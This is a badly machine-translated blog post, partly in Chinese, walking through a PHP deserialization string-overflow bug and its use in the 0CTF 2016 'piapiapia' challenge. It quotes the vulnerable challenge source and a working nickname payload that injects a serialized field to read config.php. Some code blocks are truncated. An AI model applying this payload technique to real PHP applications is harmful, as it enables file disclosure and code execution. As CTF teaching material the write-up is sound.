Categories
Uncategorized

Look scenarios php deserialization vulnerability from a ctf

table of Contents

  • 0x00 first
  • 0x01 — I hit myself the serialization problem

  • 0x02 [0CTF 2016] piapiapia

0x00 first

A few days ago joomla broke a deserialization vulnerability, the reason is because of the characters after the sequence of filtering, resulting in user-controllable character overflow, thereby controlling the sequence of content, with the target injection results in RCE. Today brush just encountered a similar problem CTF scene, feeling very interesting, and therefore this article.

0x01 — I hit myself the serialization problem

What about serialization will not repeat them here mainly about a few points with several security-related.
    Look at a simple serialization

Can be seen from the above example, the serialized string to "as a delimiter, but injected" does not escape behind the lead content. This is because the deserialization deserialization engine is judged based on the length.

It is also because of this, if the program is to filter the string after string of serialized escape leading to longer content / shorter, it will lead to de-serialization can not be normal. Look at an example

";

    $user=unserialize($seri);

    echo $user[0];
    echo "
"; echo "
"; echo $user[1]; function bad_str($string){ return preg_replace('/\'/', 'no', $string); }

A first array of serialization, and the results passed bad_str () function in the security filter, converting into a single quotes no, the results finally obtained deserialized and outputs. Look normal output:

Users ka1n4t personal signature very friendly. If the user name with an apostrophe, the program will be escaped as no, an error results in an error since the length deserialization.

So by the competent Shane wrong? We can rewrite all the characters after controlled at to control the user's personalized signature. We need to put the data we want to inject written, and then consider the issue of the length of the overflow. For example, we put into his personal signature no hi, a length of 5, in this procedure result should be serialized i: 1; s: 5: "no hi" ;, talk in front of and behind the double quotes username the closed end brace into "; i: 1; s: 5:" no hi ";} shown below.

We want 'via bad_str () function to escape after no extra length is just aligned to our above configuration payload. Since the payload length is above 19, we just before the payload input 19 ', through bad_str () after just over one escape out of 19 characters.

Try payload: ka1n4t '' '' '' '' '' '' '' '' '' ' "; i: 1; s: 5:" no hi ";}

Sequence of characters successfully injected. joomla rce principle a few days ago is true. By following a CTF look at the actual scene.

0x02 [0CTF 2016] piapiapia

首页一个登录框,别的嘛都没有

www.zip leaked source code, the source code can be downloaded directly.

flag在config.php中

class.php is mysql database category, as well as user model

table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

profile.php used to display personal information

profile.php

show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

register.php for registered users

register.php

 16) 
            die('Invalid user name');

        if(strlen($password) < 3 or strlen($password) > 16) 
            die('Invalid password');
        if(!$user->is_exists($username)) {
            $user->register($username, $password);
            echo 'Register OK!Please Login';        
        }
        else {
            die('User name Already Exists');
        }
    }
    else {
?>

update.php to update user information

update.php

 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!Your Profile';
    }
    else {
?>

By observing the above code that we can find some clues to the following
    1. config.php can read or obtain the value of the parameter can be obtained $ flag flag.
    2.update.php 28 about to update user information serialize and pass $ user-> update_profile () stored in the database.
    3. Check class.php in update_profile () source code and found the bottom of the first call filter () method is dangerous characters filtered before stored in the database.
    4.profile.php 16 line fetch user $ profile [ 'photo'] as the acquired file name and file contents display.
    5.update.php 26 rows can see the value of the $ profile [ 'photo'] is' upload'.md5 ($ file [ 'name']), and therefore the clues 4 filename we do not control.
    Based on the above five points, together with the examples herein, the beginning, the basic idea has been out, after the character string of the program sequence is filtered, resulting in overflowing user controllable, so that the rear half of the control sequence of the characters, final control $ profile [ 'photo'] value config.php, can be obtained flag.

The key here is class.php the filter () method, we need to find to make the original character 'expansion' escape.

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

Only the change in length of view, only where-> hacker It is an escape of a variable length. Update.php 28 rows back, we just enter the number where the nickname parameter fight on payload, through filter () after filtration just let our payload to overflow.

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

有一点需要注意的是update.php对nickname进行了过滤,不能有除_外的特殊字符,我们只要传一个nickname[]数组即可。

下面构造payload,先看看正常的序列化表达式是什么

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

All characters after the config.php is configured photo, and front and rear closing sequence of the expression, that is, removal of the upper kk1

";}s:5:"photo";s:10:"config.php";}

A length of 34, due to the filter () is where become hacker, an increase, we need to add 34, which is 34 where. payload become so

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

We see this as a nickname [] the values ​​passed, then the result should be serialized

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

After escaping filter () becomes

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

Count the number of digits, exactly.

Next, the transmission payload as Nickname [] value

The update is successful, access profile.php View profile

Success to get the flag.

Leave a Reply